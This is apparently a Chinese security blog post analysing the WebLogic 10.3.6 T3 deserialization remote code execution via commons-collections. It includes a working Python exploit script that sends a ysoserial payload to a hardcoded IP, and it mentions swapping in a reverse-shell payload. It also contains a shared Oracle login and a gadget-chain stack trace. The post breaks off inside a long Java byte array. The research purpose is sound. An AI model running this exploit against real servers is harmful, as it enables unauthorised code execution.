common-collections导致的反序列化RCE,闲着也是闲着,分析下。
环境
centos7 weblogic10.3.6 win10 idea
安装出现的问题
下载需要Oracle账户,网上百度了一个
[email protected]
密码:Oracle123
-bash: ./oepe-wls-indigo-installer-11.1.1.8.0.201110211138-10.3.6-linux32.bin: /lib/ld-linux.so.2: bad ELF interpreter: 没有那个文件或目录
解决
yum install zlib.i686 -y
可以图像化安装,也可以命令行静默安装,推荐还是图形化安装,或者docker也行。
复现

利用脚本如下
#!/usr/bin/env python
# coding: utf-8
import socket
import struct
def exp(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
# Send headers
headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
sock.sendall(headers)
data = sock.recv(2)
# java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" > ./tmp
f = open('./tmp', 'rb')
payload_obj = f.read()
f.close()
payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
payload2 = payload_obj
payload = payload1 + payload2 + payload3
payload = struct.pack('>I', len(payload)) + payload[4:]
sock.send(payload)
data = sock.recv(4096)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()
exp('172.16.2.129', 7001)
利用成功会创建 /tmp/exp 文件,可以把poc改为反弹shell的payload。
远程调试
修改 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在上方加入两行debug配置

debugFlag="true"
export debugFlag
打开idea,创建一个Java web工程,从Linux中把 /root/Oracle/Middleware/modules
目录拷出来,在idea中File->Project Structure里找到Libraries,添加modules。

然后配置远程调试,填写远程IP以及端口。


重新启动weblogic

因为我们知道是 commons-collections的InvokerTransformer出现的问题,所以断点直接下在transform(),开启idea的debug,然后用exp打过去,发现断点已经成功。

漏洞分析
先上堆栈调用链
transform:123, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:50, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57
readObject:327, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:974, ObjectStreamClass (java.io)
readSerialData:1848, ObjectInputStream (java.io)
readOrdinaryObject:1752, ObjectInputStream (java.io)
readObject0:1328, ObjectInputStream (java.io)
readObject:350, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
可以看到后半部分是common-collections的反序列化链

weblogic中确实用到了这个东西,现在就需要找反序列化的入口,就需要用到weblogic的T3协议了。
./Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh
这个脚本是用来关闭weblogic服务的,它的脚本中使用了 t3://
协议。

为了研究这个t3协议到底是个什么东西,我用tcpdump监听,然后运行脚本抓到了t3协议的流量。
tcpdump -i any -w dump.pcap
然后发现在t3协议中,传输了序列化对象,我们知道ac ed 00 05
是Java中序列化对象的特点,过滤下

追踪下tcp流

hex转储下,发现确实存在序列化数据。

所以我们可以根据t3协议来构造恶意数据进而利用common-collections的反序列化链达到rce的目的。
接下来就是怎么去构造t3协议数据包?
先来分析下t3协议的数据流,首先是第一个数据包发送了t3 10.3.6nAS:255nHL:19nn
,然后服务端回复了一个HELO信息

前人经验:使用t3 9.2.0nAS:255nHL:19nn
字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。
再来看第二个数据包,将数据流转为C数组

复制第二块红色的,代表是第二个请求包。编写Java代码来分析。
package com.test.index;
import java.util.ArrayList;
import java.util.Base64;
import java.io.InputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.OptionalDataException;
import java.io.StreamCorruptedException;
import java.util.Arrays;
import java.util.List;
public class DecodeObject {
public static void main(String args[]) throws Exception {
byte bytes[] = { /* Packet 388 */
(byte) 0x00, (byte) 0x00, (byte) 0x05, (byte) (byte) 0xba, (byte) 0x01, (byte) 0x65, (byte) 0x01, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x69, (byte) 0x00, (byte) 0x00, (byte) 0xea, (byte) 0x60, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x18, (byte) 0x05, (byte) 0x08, (byte) 0x4b, (byte) 0xa0, (byte) 0xb4,
(byte) 0x79, (byte) 0xc0, (byte) 0xd5, (byte) 0x5b, (byte) 0x2a, (byte) 0x27, (byte) 0x86, (byte) 0x3d,
(byte) 0x71, (byte) 0xf7, (byte) 0x37, (byte) 0xef, (byte) 0xcc, (byte) 0x99, (byte) 0x32, (byte) 0x23,
(byte) 0x9e, (byte) 0x4b, (byte) 0x75, (byte) 0x02, (byte) 0x79, (byte) 0x73, (byte) 0x72, (byte) 0x00,
(byte) 0x78, (byte) 0x72, (byte) 0x01, (byte) 0x78, (byte) 0x72, (byte) 0x02, (byte) 0x78, (byte) 0x70,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06,
(byte) 0x00, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06, (byte) 0x00,
(byte) 0x70, (byte) 0x06, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed,
(byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65,
(byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72,
(byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73,
(byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e,
(byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57,
(byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
(byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
(byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
(byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
(byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
(byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6,
(byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02,
(byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a,
(byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e,
(byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c,
(byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63,
(byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76,
(byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a,
(byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72,
(byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68,
(byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54,
(byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
(byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
(byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
(byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
(byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00,
(byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d,
(byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f,
(byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x78, (byte) 0x70,
(byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00,
(byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00,
(byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
(byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43,
(byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c,
(byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52,
(byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00,
(byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
(byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
(byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
(byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56,
(byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e,
(byte) 0x66, (byte) 0x6f, (byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52,
(byte) 0x46, (byte) 0x3e, (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08,
(byte) 0x70, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73,
(byte) 0x74, (byte) 0x00, (byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62,
(byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f,
(byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74,
(byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61,
(byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66,
(byte) 0x6f, (byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65, (byte) 0x6c,
(byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73,
(byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c, (byte) 0x6a,
(byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e, (byte) 0x67,
(byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x3b,
(byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69,
(byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41, (byte) 0x73,
(byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00, (byte) 0x02,
(byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
(byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
(byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
(byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50,
(byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e,
(byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae,
(byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05,
(byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
(byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
(byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
(byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
(byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
(byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
(byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
(byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d,
(byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x71,
(byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69,
(byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f,
(byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00,
(byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72,
(byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00,
(byte) 0x04, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78,
(byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05,
(byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
(byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76,
(byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54,
(byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72,
(byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9,
(byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00,
(byte) 0x21, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
(byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e,
(byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61,
(byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x65, (byte) 0x65, (byte) 0x72, (byte) 0x49, (byte) 0x6e,
(byte) 0x66, (byte) 0x6f, (byte) 0x58, (byte) 0x54, (byte) 0x74, (byte) 0xf3, (byte) 0x9b, (byte) 0xc9,
(byte) 0x08, (byte) 0xf1, (byte) 0x02, (byte) 0x00, (byte) 0x06, (byte) 0x49, (byte) 0x00, (byte) 0x05,
(byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
(byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
(byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
(byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
(byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
(byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
(byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
(byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
(byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
(byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
(byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
(byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
(byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
(byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x3b,
(byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
(byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d,
(byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
(byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56, (byte) 0x65, (byte) 0x72,
(byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f,
(byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52, (byte) 0x46, (byte) 0x3e,
(byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
(byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x71, (byte) 0x00,
(byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65,
(byte) 0x6c, (byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72,
(byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
(byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
(byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
(byte) 0x3b, (byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73,
(byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41,
(byte) 0x73, (byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
(byte) 0x02, (byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77,
(byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e,
(byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69,
(byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e,
(byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49,
(byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8,
(byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00,
(byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
(byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
(byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
(byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b,
(byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50,
(byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65,
(byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50,
(byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69,
(byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65,
